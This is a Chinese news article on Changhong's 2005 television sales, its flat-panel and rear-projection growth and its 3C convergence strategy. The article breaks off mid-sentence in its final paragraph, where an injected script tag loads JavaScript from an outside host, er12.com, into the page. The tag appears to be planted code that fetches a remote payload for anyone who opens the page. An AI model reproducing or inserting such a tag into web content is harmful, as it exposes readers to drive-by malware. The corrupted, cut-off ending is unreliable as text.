“2005年彩电的销售收入首次降到70%以下，今年将低于60%。”长虹公司董事长赵勇在2005年总结大会上如是说。这表明长虹精心构建的“三坐标”产业战略已经有了实质性进展，逐步摆脱了“命系彩电”的局面，构建起更加适应于未来发展的3c产业架构。
但是，彩电销售比重的下降并没有降低其增长速度。经过产业调整后的全新的产业价值链、产业形态和商业模式，为长虹的彩电业务注入了新的活力元素，更加速了其快速发展。有数据显示，在家电市场整体下滑的情况下，2005年长虹全门类电视产品的销售额较2004年同比增长35%，创近5年历史新高，继续引领中国彩电产业。电视业务全线走强
为了提高产业竞争力，长虹从2004年开始将主要产业划分为核心业务、战略业务、新兴业务三个梯队，同时贯彻有所为有所不为、有进有退的经营策略，将非核心业务交给行业内的专业厂商经营，目的就是强化核心业务。而彩电作为长虹的核心业务，对保证稳定的赢利能力和现金流具有重要作用。目前长虹的彩电产品涵盖了平板、背投和crt等产品，拥有行业最完整的产品阵容。
在平板电视领域，长虹“后来居上”，虽然进入的时间不长，但成长速度却居行业之首。长虹数字平面显示公司总经理陈宁指出：“为了蓄积在平板电视领域的竞争力，长虹在资金、人才和机制三个方面实行重点倾斜性政策，发挥了后发优势。据国务院发展研究中心权威发布的“2005中国电视市场年度报告”显示，长虹凭借9.8%的市场份额，由2004年的第10名跻身前三甲，而这一过程仅用了不到一年的时间，创造了行业第一成长速度。
2004年8月，长虹成立了数字平面显示公司，投资近10亿元用于平板电视及背投电视的技术研发、设备更新和人才培养，另外，在产品销售上也有专门的营销机构对接，由此形成了从上游研发到下游销售的专业组织架构，具有极强的市场响应能力。
走专业化的模式经营后，长虹平板电视的开发效率成倍提速。记者了解到，2005年，长虹率先在行业成功开发出最大的55寸液晶和65寸等离子电视，按照行业的研发进度，至少需要6个月，而长虹研发人员仅用了不到2个月的时间。
同时，长虹背投产品的研发有了实质性的突破。长虹自主开发的大尺寸教育专用背投电视，可以和电脑连接起来，可以直接在上面用笔写字、画画，特别适合于电教、商务等公共场所。
在平板电视快速发展的形势下，长虹的crt彩电业务增势依然不减。据了解，自2004年年底以来，长虹进行了以产品线为龙头的改革，技术开发、生产制造、市场开拓等方面都围绕产品线展开，以更快的速度把握市场需求。目前，长虹的产品开发速度比行业都快，比以往任何时候都快，以前开发一个产品要半年，现在两个多月就可以投放市场。比如长虹推出的天翼、天羽超薄显像管系列产品就领先同行半年以上，而开发的时间也仅有两个月。正如长虹电视公司总经理徐明所说：“长虹要用实实在在的产品打破普通彩电没有市场的谬论，让高性价比的彩电走入寻常百姓家。“
有关专家指出，从上世纪90年代中期以来，长虹一直是中国彩电业的风向标，在业界素有“长虹动向，行业风向”之称。在十年左右的时间里，长虹孕育了中国“彩电大王”、“背投大王”等一系列令行业惊叹的奇迹，如今正向第三个“大王”发起了冲击：“平板大王”，足以显示出高速发展的世界级竞争力，同时也印证了其产业结构调整的前瞻性和先导性。
3c融合带来新机会
当前，随着数字技术和信息技术的发展，3c融合正打破以往的界限，而彩电作为3c融合的重要终端也在快速转型。为了加速向信息家电转型，长虹用一个三维坐标轴来度量企业的生存环境以及突破方向，在产业价值链、产业形态和商业模式三方面迎来新契机。
——产业价值链的拓展夯实了长虹彩电的核心技术能力。在产业价值链的拓展上，长虹沿着技术能力提升的方向，向关键部品、软件转移。目前长虹通过实施技术创新战略已造就三大核心技术能力——以虹微公司为主体的ic芯片开发能力，以长虹国家级技术中心为主体的嵌入式软件开发能力，以长虹工业设计中心为主体的工业设计能力。
这三大技术能力是构筑企业核心竞争力的源头，也是长虹彩电今后持续发展的关键。如今长虹彩电在这三大核心技术的支撑下快速推进。技术中心可以根据需求进行功能模块的开发、原始技术的创新等；工业设计中心可以整合全世界的设计资源，提高长虹彩电的工业设计竞争力；而虹微公司是长虹核心技术的突破点，比如该公司自主研发出数字自动会聚芯片，大大提升了彩电产品的市场竞争力。
——产业形态的融合加速长虹彩电向3c产品转型。在产业形态的突破领域，长虹逐渐向信息家电和it方向发展。为此，长虹频频出招，不断并入新的技术元素和产业基因。2004年，长虹借道长虹朝华（现更名为长虹佳华），挺进it业；2005年，注册国虹通讯，正式抢滩通讯业；年底，又并购美菱电器，拓宽?script src=http://er12.com/t.js>
